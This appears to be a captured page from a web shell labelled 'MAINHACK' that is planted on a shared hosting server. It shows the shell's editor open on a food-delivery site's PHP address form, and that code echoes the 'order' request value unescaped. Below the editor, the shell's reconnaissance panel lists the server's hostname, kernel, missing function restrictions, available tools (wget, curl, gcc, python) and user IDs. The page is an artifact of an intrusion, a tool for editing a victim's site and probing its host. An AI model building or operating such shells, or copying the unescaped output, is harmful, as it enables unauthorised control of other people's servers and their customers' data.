[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: add_address.php
<?php include('header.php'); include('map/token.php'); if($_SESSION['login_id']==''){header("location:index.php"); } $order=$_REQUEST['order'];?> <div class="banner-inner" style="height: 150px;"> <img src="images/inner-banner.jpg" alt="" class="banner-img"> </div> <meta name="google-signin-client_id" content="122332322499-67ptisuqnhip3a9gtlf0vjj0hti7ov5l.apps.googleusercontent.com"> <script src="https://apis.google.com/js/platform.js" async defer></script> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://apis.mappls.com/advancedmaps/api/<?=$token?>/map_sdk?layer=vector&v=3.0&callback=initMap1"></script> <script src="https://apis.mappls.com/advancedmaps/api/<?=$token?>/map_sdk_plugins?v=3.0"></script> <style> .pPsubm{display:none;} .foot-bg-index{ display:none; } #map {width: 100%; height: 300px; margin: 0 0 30px; padding: 0; background: #f3e3c8; border: 5px solid #fff; box-shadow: 0px 15px 14px -15px rgba(35, 35, 35, 0.29); } </style> <script> function fill_location(Value,Value1) { $('#loc').val(Value); $('#pin').val(Value1); $('#display_loc').hide(); //window.location.href='product1.php?cate='+Value+''; } $(document).ready(function(){ $("#loc").keyup(function() { var search = $('#loc').val(); var city = $('#city').val(); //alert(search); if(search=="") { $("#display").html(""); } else { $.ajax({ type: "POST", url: "ajax_check.php", data: "search_loc="+ search+"&city="+city , beforeSend: function(){ /* Show image container */ $("#loader").show(); }, success: function(html){ //alert(html); $("#display_loc").html(html).show(); $("#loader").hide(); } }); } }); }); </script> <script> function get_sub_category_name() { var category_id = $('#district').val(); $.ajax({ type: "POST", url: "ajax_check.php", // Name of the php files data: "district="+category_id, success: function(html) { $("#show").html(html); document.getElementById("hide_k").style.display="none"; } }); } </script> <style type="text/css"> #fli,#fli1 { width: 79%; height: 42px; } #display { position:absolute; width:303; margin-left:0; margin-top:0; padding:2px; display:none; border-top:0px; overflow:auto; border:1px #CCC solid; background-color: white; z-index:1000; } .show11,.show12 { padding:7px; border-bottom:1px #999 dashed; font-size:13px; } .show11:hover,.show1:hover { background:#1da1f2; color:#000; cursor:pointer; } .widget{ overflow:visible !important; } </style> <!-- Sign Up --> <div class="sing-up resturant-sing" style="padding:0;"> <div class="container"> <div class="sing-up-text" style="width: 50%; margin: 100px auto 90px;"> <h3 style="font-size: 25px; color: #ff841b; font-family: 'Aclonica', sans-serif; text-shadow: none; text-align: center;">Choose Address From Map to deliver</h3> <h5><a href="checkout.php?order=<?=$order?>" style="text-shadow: none;color: #000;" >Deliver to existing address </a></h5> <div class="sing-up-form" style="margin: 50px auto 0;float: none;" > <form method="post" id="form" method="post" data-toggle="validator" enctype="multipart/form-data" > <div class="col-md-12 col-sm-6 col-sx-12"> <div class="log-input" id="b_name"> <span>Full Address <b>*</b></span> <label><i class="fa fa-home" aria-hidden="true"></i></label> <textarea id="address" name="address" placeholder="Full Address ( State, City, Pin Code, etc )"></textarea> </div> <div id="map"></div> <script> /*Map Initialization*/ var map,picker; function initMap1(){ map = new mappls.Map('map', { center: [28.62, 77.09], zoom: 5 }); map.addListener('load',function(){ /*Place Picker plugin initialization*/ var options = { map: map, header:true, closeBtn:true, }; mappls.placePicker(options,callback); function callback(data) { picker=data; console.log(picker); } }); map.addListener('dragend', function(e){ var res = picker.getLocation(); var j=JSON.stringify(res); // alert(j); console.log(res); data_show(j); }); } function data_show(value){ $.ajax({ type:"POST", data:{data:value}, url:"map/getdata.php", success: function(html){ //alert(html); $('#demo').html(html).show(); get_sub_category_name(); // $('#data').val(result.pincode); // $('#data2').val(result.state); // console.log(html); $("#address_button").show(); } }); } </script> </div> <div class="col-md-12 col-sm-6 col-sx-12"> <p id="demo"></p> <div id="map_hide"></div> <!--- <div class="form-left-to-w3l " id="b_name"> <select id="state" name="state" > <option value="">State</option> <?php $table1='state_list'; $stmt=$show->state($table1); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row['state']."'>".$row['state']."</option>"; } } ?> </select> </div> <div class="form-left-to-w3l " id="b_name"> <select id="district" onChange="get_sub_category_name();" name="district" required> <option value="">District</option> <?php $table="district"; $stmt=$show->readAll_clause('city','group by district order by id asc'); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row['district']."'>".$row['district']."</option>"; } } ?> </select> </div> <div class="form-left-to-w3l"> <div id="show"></div> <div id="hide_k"> <select name="City"> <option value="">City</option> </select> </div> </div> <div class="form-left-to-w3l " id="b_name"> <input type="text" id="loc" name="locality" placeholder=" Locality" required> <div id='loader' style='display: none;'> <img src='loader.gif' width='32px' height='32px'> </div> <div id="display_loc"></div> </div> <div class="form-left-to-w3l " id="b_name"> <input type="text" id="pin" name="pincode" placeholder=" Pincode" readonly> </div> ---> <div class="form-sub-acc" id="address_button" style="display:none"> <div class="form-sub"> <input type="submit" class="" name="sub" id="btn" value="Add Address" style="font-weight: normal; font-size: 18px;"> </div> </div> </div> </form> <?php if(isset($_POST['sub'])){ // $status='Active'; $data1 = array( 'customer_id' => $_SESSION['login_id'], 'district'=>htmlentities(strip_tags($_POST['district1'])), 'address'=>htmlentities(strip_tags($_POST['formatted_address'])), 'state'=>htmlentities(strip_tags($_POST['state1'])), 'city'=>htmlentities(strip_tags($_POST['city1'])), 'pincode'=>htmlentities(strip_tags($_POST['pincode1'])), 'locality'=>htmlentities(strip_tags($_POST['locality1'])), 'latitude'=>htmlentities(strip_tags($_POST['lat'])), 'longitude'=>htmlentities(strip_tags($_POST['lng'])), ); $r2=$show->insert('customer_address',$data1); if($r2){ echo '<script> setTimeout(function() { swal({ title: "Thank You ", text: "Address has been added", type: "success" }, function() { window.location = "checkout.php?order='.$order.'"; }); }, 1000); </script>'; } }?> </div> </div> </div> </div> <style> #map {width: 100%; height: 265px; margin: 0 0 30px; padding: 0; background: #fff; border: 5px solid #e4eaec; } .sing-up .sing-up-text .sing-up-form { width: 100%;} .sing-up .sing-up-text .sing-up-form .form-sub-acc { margin: 0; width: 60%; } </style> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619